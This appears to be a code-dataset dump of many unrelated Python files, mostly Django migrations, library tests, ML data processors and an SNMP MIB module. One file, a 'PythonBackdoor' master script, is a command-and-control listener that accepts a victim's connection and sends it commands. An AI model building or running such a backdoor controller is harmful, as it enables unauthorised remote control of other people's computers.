2021-02-10T05:50:17.000Z
surveys/migrations/0004_auto_20190909_2157.py
darkismus/kompassi
35dea2c7af2857a69cae5c5982b48f01ba56da1f
[ "CC-BY-3.0" ]
11
2015-09-20T18:59:00.000Z
2020-02-07T08:47:34.000Z
# Generated by Django 2.1.12 on 2019-09-09 18:57 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('surveys', '0003_auto_20180330_1812'), ] operations = [ migrations.AlterField( model_name='even...
30.36
132
0.650856
from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('surveys', '0003_auto_20180330_1812'), ] operations = [ migrations.AlterField( model_name='eventsurveyresult', name='survey', ...
true
true
f77780043b72f1f920d48b9b5a4b4f716fce5f36
663
py
Python
tests/gcp_testing/__init__.py
armory-io/citest
56f2dfa991a377519e9be4c7f472fb9c80ec9fac
[ "Apache-2.0" ]
69
2016-04-05T15:15:49.000Z
2021-10-21T01:29:36.000Z
tests/gcp_testing/__init__.py
armory-io/citest
56f2dfa991a377519e9be4c7f472fb9c80ec9fac
[ "Apache-2.0" ]
95
2016-04-06T13:31:09.000Z
2020-08-13T22:53:40.000Z
tests/gcp_testing/__init__.py
armory-io/citest
56f2dfa991a377519e9be4c7f472fb9c80ec9fac
[ "Apache-2.0" ]
50
2016-04-05T14:10:57.000Z
2021-10-21T01:29:26.000Z
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
36.833333
74
0.773756
from tests.gcp_testing.fake_gcloud_agent import FakeGCloudAgent
true
true
f777810247c65092358655268c942ec223712cd1
510
py
Python
core/migrations/0002_auto_20190909_1358.py
altafshaikh/Friends-The-Social-Network
13d5ec54d502f6f936491595e84cbe3b9d4bbdc8
[ "MIT" ]
1
2019-11-02T04:20:58.000Z
2019-11-02T04:20:58.000Z
core/migrations/0002_auto_20190909_1358.py
altafshaikh/Friends-The-Social-Network
13d5ec54d502f6f936491595e84cbe3b9d4bbdc8
[ "MIT" ]
null
null
null
core/migrations/0002_auto_20190909_1358.py
altafshaikh/Friends-The-Social-Network
13d5ec54d502f6f936491595e84cbe3b9d4bbdc8
[ "MIT" ]
null
null
null
# Generated by Django 2.1.7 on 2019-09-09 13:58 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('core', '0001_initial'), ] operations = [ migrations.AlterField( ...
24.285714
121
0.654902
from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('core', '0001_initial'), ] operations = [ migrations.AlterField( model_name='post', name='upload_by...
true
true
f7778491c83df301cc5093933783cae98eca1006
7,786
py
Python
train.py
svandenhoek/NeuralCR
52d2fecc38760c7e7a975c5631241d4ffe457249
[ "MIT" ]
25
2018-11-30T13:09:01.000Z
2021-06-09T23:01:01.000Z
train.py
svandenhoek/NeuralCR
52d2fecc38760c7e7a975c5631241d4ffe457249
[ "MIT" ]
6
2019-06-06T17:38:39.000Z
2021-03-18T23:28:46.000Z
train.py
svandenhoek/NeuralCR
52d2fecc38760c7e7a975c5631241d4ffe457249
[ "MIT" ]
12
2019-02-12T18:10:16.000Z
2021-08-12T23:34:00.000Z
import argparse import ncrmodel import numpy as np import os from onto import Ontology import json import fastText import pickle import tensorflow as tf import accuracy import annotate_text import eval import tempfile import shutil import random tf.enable_eager_execution() def save_ont_and_args(ont, args, param_dir)...
43.255556
164
0.701387
import argparse import ncrmodel import numpy as np import os from onto import Ontology import json import fastText import pickle import tensorflow as tf import accuracy import annotate_text import eval import tempfile import shutil import random tf.enable_eager_execution() def save_ont_and_args(ont, args, param_dir)...
true
true
f77784ebf218b4864e2d8878c6d020b9f9865955
4,308
py
Python
test/test_fb_credentials.py
portusato/fb_credentials
2698c72c1a68d433061fed496d3c3da53cebcfb2
[ "BSD-3-Clause" ]
null
null
null
test/test_fb_credentials.py
portusato/fb_credentials
2698c72c1a68d433061fed496d3c3da53cebcfb2
[ "BSD-3-Clause" ]
null
null
null
test/test_fb_credentials.py
portusato/fb_credentials
2698c72c1a68d433061fed496d3c3da53cebcfb2
[ "BSD-3-Clause" ]
1
2021-06-28T15:26:00.000Z
2021-06-28T15:26:00.000Z
import unittest import nose.tools from nose_parameterized import parameterized import mock import shutil, tempfile from os import path import fb_credentials @parameterized([ # token, username, password ('a', 'a', ''), # token and username ('a', '', 'a'), # token and password ('', 'a', ''), # username and...
41.423077
102
0.731662
import unittest import nose.tools from nose_parameterized import parameterized import mock import shutil, tempfile from os import path import fb_credentials @parameterized([ ('a', 'a', ''), ('a', '', 'a'), ('', 'a', ''), ('', '', 'a'), ]) def test_FogBugz_raiseIfWrongCredentialOptionsProvided(token,...
true
true
f777863bd56dfe3a00081bd7fb790d45e4367e46
11,042
py
Python
ilxutils/ilxutils/ontopandas.py
tmsincomb/pyontutils
dad24e7178d8d8cd3bd60d53b9039952fa7a5a1e
[ "MIT" ]
null
null
null
ilxutils/ilxutils/ontopandas.py
tmsincomb/pyontutils
dad24e7178d8d8cd3bd60d53b9039952fa7a5a1e
[ "MIT" ]
null
null
null
ilxutils/ilxutils/ontopandas.py
tmsincomb/pyontutils
dad24e7178d8d8cd3bd60d53b9039952fa7a5a1e
[ "MIT" ]
null
null
null
""" Converts owl or ttl or raw rdflib graph into a pandas DataFrame. Saved in .pickle format. Usage: Graph2Pandas.py [-h | --help] Graph2Pandas.py [-v | --version] Graph2Pandas.py [-f=<path>] [-a | -t=<str>] [-o=<path>] Options: -h --help Display this help message ...
37.053691
100
0.549448
from collections import defaultdict from docopt import docopt import pandas as pd from pathlib import Path as p import pickle import rdflib from rdflib import BNode from sys import exit from typing import Union, List, Dict from ilxutils.tools import create_pickle, open_pickle VERSION = '0.5' class OntoPandas: ...
true
true
f7778712ac0c19553aaf23e0e71a5329c2a58126
781
py
Python
qaoa/operators/sum_sigma_x_propagator.py
gregvw/pyQAOA
59b5abda36d90b45913878e7ffb588a1c146bc38
[ "BSD-3-Clause" ]
null
null
null
qaoa/operators/sum_sigma_x_propagator.py
gregvw/pyQAOA
59b5abda36d90b45913878e7ffb588a1c146bc38
[ "BSD-3-Clause" ]
null
null
null
qaoa/operators/sum_sigma_x_propagator.py
gregvw/pyQAOA
59b5abda36d90b45913878e7ffb588a1c146bc38
[ "BSD-3-Clause" ]
null
null
null
import numpy as np from qaoa.operators import Kronecker, SumSigmaXOperator, Propagator class SumSigmaXPropagator(Propagator): def __init__(self,D,theta=0): assert( isinstance(D,SumSigmaXOperator) ) self.kronecker = Kronecker(np.eye(2),D.num_qubits(),dtype=complex) super().__init__(D,th...
27.892857
74
0.649168
import numpy as np from qaoa.operators import Kronecker, SumSigmaXOperator, Propagator class SumSigmaXPropagator(Propagator): def __init__(self,D,theta=0): assert( isinstance(D,SumSigmaXOperator) ) self.kronecker = Kronecker(np.eye(2),D.num_qubits(),dtype=complex) super().__init__(D,th...
true
true
f7778766e19cf6bf31f1de6366a87c8ef8c4de9e
162
py
Python
_posts/ideals_varieties_and_algorithms/chapter4/section2/ex-4-2-8.py
hidenori-shinohara/hidenori-shionohara.github.io
ba0b2af624e18dca34f99eb5e38a6dc43b2cf843
[ "MIT" ]
null
null
null
_posts/ideals_varieties_and_algorithms/chapter4/section2/ex-4-2-8.py
hidenori-shinohara/hidenori-shionohara.github.io
ba0b2af624e18dca34f99eb5e38a6dc43b2cf843
[ "MIT" ]
6
2017-11-21T06:01:52.000Z
2021-03-30T00:46:51.000Z
_posts/ideals_varieties_and_algorithms/chapter4/section2/ex-4-2-8.py
hidenori-shinohara/hidenori-shinohara.github.io
ba0b2af624e18dca34f99eb5e38a6dc43b2cf843
[ "MIT" ]
null
null
null
from sympy import * from sympy.polys.orderings import monomial_key x, y = symbols('x y') print(groebner([y * y + 2 * x * y - 1, x * x + 1], x, y, order='lex'))
23.142857
70
0.611111
from sympy import * from sympy.polys.orderings import monomial_key x, y = symbols('x y') print(groebner([y * y + 2 * x * y - 1, x * x + 1], x, y, order='lex'))
true
true
f77787990945146b6887521a0f485f8654652a6f
7,453
py
Python
neurst/data/datasets/audio/librispeech.py
emailandxu/neurst
235bddfc93b7784df01eddccec6791e1281651cf
[ "Apache-2.0" ]
null
null
null
neurst/data/datasets/audio/librispeech.py
emailandxu/neurst
235bddfc93b7784df01eddccec6791e1281651cf
[ "Apache-2.0" ]
null
null
null
neurst/data/datasets/audio/librispeech.py
emailandxu/neurst
235bddfc93b7784df01eddccec6791e1281651cf
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 ByteDance Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
40.950549
111
0.530659
import re import tensorflow as tf from absl import logging from neurst.data.datasets import register_dataset from neurst.data.datasets.audio.audio_dataset import RawAudioDataset from neurst.utils.compat import DataStatus from neurst.utils.flags_core import Flag @register_dataset("Librispeech") class LibriSpeech(Raw...
true
true
f77787c8f8451a81e1d67988a8dbf0f3990534bb
11,808
py
Python
pysnmp/ITU-ALARM-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
11
2021-02-02T16:27:16.000Z
2021-08-31T06:22:49.000Z
pysnmp/ITU-ALARM-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
75
2021-02-24T17:30:31.000Z
2021-12-08T00:01:18.000Z
pysnmp/ITU-ALARM-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module ITU-ALARM-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ITU-ALARM-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 19:47:15 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 201...
123
1,846
0.778032
alarmActiveDateAndTime, alarmModelIndex, alarmActiveIndex, alarmListName = mibBuilder.importSymbols("ALARM-MIB", "alarmActiveDateAndTime", "alarmModelIndex", "alarmActiveIndex", "alarmListName") ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString") Named...
true
true
f77788d552aee769cc3950a75ee04473e2b8c030
23,799
py
Python
tests/HA/test_fail_detection.py
isc-projects/forge
dfec8b41003d6b5a229f69ee93616e0e5cc6d71b
[ "0BSD" ]
22
2015-02-27T11:51:05.000Z
2022-02-28T12:39:29.000Z
tests/HA/test_fail_detection.py
isc-projects/forge
dfec8b41003d6b5a229f69ee93616e0e5cc6d71b
[ "0BSD" ]
16
2018-10-30T15:00:12.000Z
2019-01-11T17:55:13.000Z
tests/HA/test_fail_detection.py
isc-projects/forge
dfec8b41003d6b5a229f69ee93616e0e5cc6d71b
[ "0BSD" ]
11
2015-02-27T11:51:36.000Z
2021-03-30T08:33:54.000Z
"""Kea HA fail detection""" # pylint: disable=invalid-name,line-too-long import pytest from forge_cfg import world import srv_msg import misc import srv_control from HA.steps import generate_leases, wait_until_ha_state, send_increased_elapsed_time, send_heartbeat from HA.steps import HOT_STANDBY, LOAD_BALANCING @p...
53.480899
124
0.635363
import pytest from forge_cfg import world import srv_msg import misc import srv_control from HA.steps import generate_leases, wait_until_ha_state, send_increased_elapsed_time, send_heartbeat from HA.steps import HOT_STANDBY, LOAD_BALANCING @pytest.fixture(autouse=True) def kill_kea_on_second_system(): srv_...
true
true
f7778a5cfd6a8313be0233bd70f0d19e9e651796
736
py
Python
irekua_rest_api/views/object_types/device_types.py
IslasGECI/irekua-rest-api
35cf5153ed7f54d12ebad2ac07d472585f04e3e7
[ "BSD-4-Clause" ]
null
null
null
irekua_rest_api/views/object_types/device_types.py
IslasGECI/irekua-rest-api
35cf5153ed7f54d12ebad2ac07d472585f04e3e7
[ "BSD-4-Clause" ]
11
2020-03-28T18:51:50.000Z
2022-01-13T01:47:40.000Z
irekua_rest_api/views/object_types/device_types.py
IslasGECI/irekua-rest-api
35cf5153ed7f54d12ebad2ac07d472585f04e3e7
[ "BSD-4-Clause" ]
1
2021-05-06T19:38:14.000Z
2021-05-06T19:38:14.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from rest_framework import mixins from rest_framework.viewsets import GenericViewSet from irekua_database import models from irekua_rest_api import serializers from irekua_rest_api import utils class DeviceTypeViewSet(mixins.RetrieveModelMixin, ...
32
71
0.706522
from __future__ import unicode_literals from rest_framework import mixins from rest_framework.viewsets import GenericViewSet from irekua_database import models from irekua_rest_api import serializers from irekua_rest_api import utils class DeviceTypeViewSet(mixins.RetrieveModelMixin, mixins....
true
true
f7778bfcaff1c049c2df25432a6f37faf2d0e0c0
190
py
Python
myproject/urls.py
devneutronco/djangoboard
9ea3beb5665244e661ae967fe60fd59bcd36c175
[ "MIT" ]
null
null
null
myproject/urls.py
devneutronco/djangoboard
9ea3beb5665244e661ae967fe60fd59bcd36c175
[ "MIT" ]
8
2019-12-23T10:34:06.000Z
2021-06-10T19:35:18.000Z
myproject/urls.py
devneutronco/djangoboard
9ea3beb5665244e661ae967fe60fd59bcd36c175
[ "MIT" ]
null
null
null
from django.conf.urls import url from django.contrib import admin from boards import views urlpatterns = [ url(r'^$', views.home, name='home'), url(r'^admin/', admin.site.urls), ]
19
40
0.684211
from django.conf.urls import url from django.contrib import admin from boards import views urlpatterns = [ url(r'^$', views.home, name='home'), url(r'^admin/', admin.site.urls), ]
true
true
f7778c8dca01ab15ae4e9e78a2a055588ce5a116
7,413
py
Python
tests/test_14_functions.py
tilschaef/genomepy
4c10e69b6886cf52381caf6498395391834a675b
[ "MIT" ]
null
null
null
tests/test_14_functions.py
tilschaef/genomepy
4c10e69b6886cf52381caf6498395391834a675b
[ "MIT" ]
null
null
null
tests/test_14_functions.py
tilschaef/genomepy
4c10e69b6886cf52381caf6498395391834a675b
[ "MIT" ]
null
null
null
import os import pytest from appdirs import user_config_dir import genomepy import genomepy.utils from tests import linux, travis def test_head_annotations(caplog, capsys): genomepy.functions.head_annotations("ASM14646v1", provider="ncbi", n=1) captured = capsys.readouterr().out.strip() assert "NCBI" i...
32.656388
86
0.689599
import os import pytest from appdirs import user_config_dir import genomepy import genomepy.utils from tests import linux, travis def test_head_annotations(caplog, capsys): genomepy.functions.head_annotations("ASM14646v1", provider="ncbi", n=1) captured = capsys.readouterr().out.strip() assert "NCBI" i...
true
true
f7778ca9855f3dfdbec549b3d95e01d1c0650de0
1,953
py
Python
tests/test_http_package.py
immersionroom/vee
2c6f781dc96e9028f2446777b906ca37dc2f4299
[ "BSD-3-Clause" ]
6
2017-11-05T02:44:10.000Z
2021-07-14T19:10:56.000Z
tests/test_http_package.py
immersionroom/vee
2c6f781dc96e9028f2446777b906ca37dc2f4299
[ "BSD-3-Clause" ]
null
null
null
tests/test_http_package.py
immersionroom/vee
2c6f781dc96e9028f2446777b906ca37dc2f4299
[ "BSD-3-Clause" ]
1
2017-01-31T23:10:09.000Z
2017-01-31T23:10:09.000Z
from . import * class TestHttpManager(TestCase): def test_standalone_c(self): pkg = MockPackage('test_standalone_c', 'c_configure_make_install', {'NAME': 'foo'}) pkg.render_commit() vee(['install', mock_url('packages/test_standalone_c.tgz'), '--install-name', 'foo/1.0.0', ...
43.4
154
0.628776
from . import * class TestHttpManager(TestCase): def test_standalone_c(self): pkg = MockPackage('test_standalone_c', 'c_configure_make_install', {'NAME': 'foo'}) pkg.render_commit() vee(['install', mock_url('packages/test_standalone_c.tgz'), '--install-name', 'foo/1.0.0', ...
true
true
f7778d7a574c55e9e800caefd085bd581e0b3fde
18,043
py
Python
tests/schema/grammars/test_postgres_grammar.py
vimox-shah/orator-repo-0.9v
002d7a0d9bcce17e5da39c3f4675d0a1a8286280
[ "MIT" ]
null
null
null
tests/schema/grammars/test_postgres_grammar.py
vimox-shah/orator-repo-0.9v
002d7a0d9bcce17e5da39c3f4675d0a1a8286280
[ "MIT" ]
null
null
null
tests/schema/grammars/test_postgres_grammar.py
vimox-shah/orator-repo-0.9v
002d7a0d9bcce17e5da39c3f4675d0a1a8286280
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from flexmock import flexmock, flexmock_teardown from orator.connections import Connection from orator.schema.grammars import PostgresSchemaGrammar from orator.schema.blueprint import Blueprint from ... import OratorTestCase class PostgresSchemaGrammarTestCase(OratorTestCase): def tearDo...
35.870775
128
0.62473
from flexmock import flexmock, flexmock_teardown from orator.connections import Connection from orator.schema.grammars import PostgresSchemaGrammar from orator.schema.blueprint import Blueprint from ... import OratorTestCase class PostgresSchemaGrammarTestCase(OratorTestCase): def tearDown(self): flexmo...
true
true
f7778dc734e8940e78b64fadc41f662f8f735e67
10,993
py
Python
language/bert/zero/finetuning/glue/processors.py
FrankLeeeee/ColossalAI-Examples
a7eae54278f3e5bcaa4d2a54552ff4a18ead9cc5
[ "Apache-2.0" ]
1
2022-01-20T13:41:29.000Z
2022-01-20T13:41:29.000Z
language/bert/zero/finetuning/glue/processors.py
FrankLeeeee/ColossalAI-Examples
a7eae54278f3e5bcaa4d2a54552ff4a18ead9cc5
[ "Apache-2.0" ]
1
2022-01-20T07:26:46.000Z
2022-01-20T07:26:46.000Z
language/bert/zero/finetuning/glue/processors.py
FrankLeeeee/ColossalAI-Examples
a7eae54278f3e5bcaa4d2a54552ff4a18ead9cc5
[ "Apache-2.0" ]
2
2022-01-19T09:30:49.000Z
2022-01-19T09:50:47.000Z
# this file is copied from https://github.com/NVIDIA/DeepLearningExamples/blob/master/PyTorch/LanguageModeling/BERT/processors/glue.py # coding=utf-8 # Copyright 2018 The Google AI Language Team Authors and The HugginFace Inc. team. # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved. # # Licensed under the ...
35.347267
134
0.603748
import csv import os import sys class InputExample(object): def __init__(self, guid, text_a, text_b=None, label=None): self.guid = guid self.text_a = text_a self.text_b = text_b self.label = label class InputFeatures(object): def __init__(self, input_ids, input_mask, segme...
true
true
f7778dfd37787f45252b3693fb64bff8fdabef45
653
py
Python
PythonMalware/PythonBackdoor/master/master.py
FalseG0d/BasicHacking
548765483988aacdd9680b4b7d2a43cdfb7018a8
[ "MIT" ]
null
null
null
PythonMalware/PythonBackdoor/master/master.py
FalseG0d/BasicHacking
548765483988aacdd9680b4b7d2a43cdfb7018a8
[ "MIT" ]
null
null
null
PythonMalware/PythonBackdoor/master/master.py
FalseG0d/BasicHacking
548765483988aacdd9680b4b7d2a43cdfb7018a8
[ "MIT" ]
1
2021-07-12T09:06:16.000Z
2021-07-12T09:06:16.000Z
import os import socket s=socket.socket() host=socket.gethostname() port=8080 s.bind((host,port)) print("\n[*] Server Is Currently Runninng @",host) print("\nWaiting For Incoming Connections....") s.listen(1) con,addr=s.accept() print(addr, " has connected to the server successfully ") while 1: command=input(s...
21.064516
57
0.630934
import os import socket s=socket.socket() host=socket.gethostname() port=8080 s.bind((host,port)) print("\n[*] Server Is Currently Runninng @",host) print("\nWaiting For Incoming Connections....") s.listen(1) con,addr=s.accept() print(addr, " has connected to the server successfully ") while 1: command=input(s...
true
true
f7778eab65620f62bb6428aa610f79ef17aad043
220
py
Python
locale/pot/api/core/_autosummary/pyvista-PolyData-lines-1.py
tkoyama010/pyvista-doc-translations
23bb813387b7f8bfe17e86c2244d5dd2243990db
[ "MIT" ]
4
2020-08-07T08:19:19.000Z
2020-12-04T09:51:11.000Z
locale/pot/api/core/_autosummary/pyvista-PolyData-lines-1.py
tkoyama010/pyvista-doc-translations
23bb813387b7f8bfe17e86c2244d5dd2243990db
[ "MIT" ]
19
2020-08-06T00:24:30.000Z
2022-03-30T19:22:24.000Z
locale/pot/api/core/_autosummary/pyvista-PolyData-lines-1.py
tkoyama010/pyvista-doc-translations
23bb813387b7f8bfe17e86c2244d5dd2243990db
[ "MIT" ]
1
2021-03-09T07:50:40.000Z
2021-03-09T07:50:40.000Z
# Return the lines from a spline. # import pyvista import numpy as np points = np.random.random((3, 3)) spline = pyvista.Spline(points, 10) spline.lines # Expected: ## array([10, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9])
22
54
0.627273
import pyvista import numpy as np points = np.random.random((3, 3)) spline = pyvista.Spline(points, 10) spline.lines
true
true
f7778f0779a46b687567a53da5360f5bd381faaa
3,969
py
Python
reapy/tools/network/server.py
tomas1808/reapy
f24a53bf226dbfa82c8dd83f6be88477ab1636e9
[ "MIT" ]
null
null
null
reapy/tools/network/server.py
tomas1808/reapy
f24a53bf226dbfa82c8dd83f6be88477ab1636e9
[ "MIT" ]
null
null
null
reapy/tools/network/server.py
tomas1808/reapy
f24a53bf226dbfa82c8dd83f6be88477ab1636e9
[ "MIT" ]
null
null
null
"""Define Server class.""" import reapy from reapy.tools import json from .socket import Socket import socket import traceback class Server(Socket): """ Server part of the ``reapy`` dist API. It is instantiated inside REAPER. It receives and processes API call requests coming from the outside. ...
34.215517
76
0.591585
import reapy from reapy.tools import json from .socket import Socket import socket import traceback class Server(Socket): def __init__(self, port): super().__init__() self.bind(("", port)) self.listen() self.connections = {} self.settimeout(.0001) @Socket._non_bloc...
true
true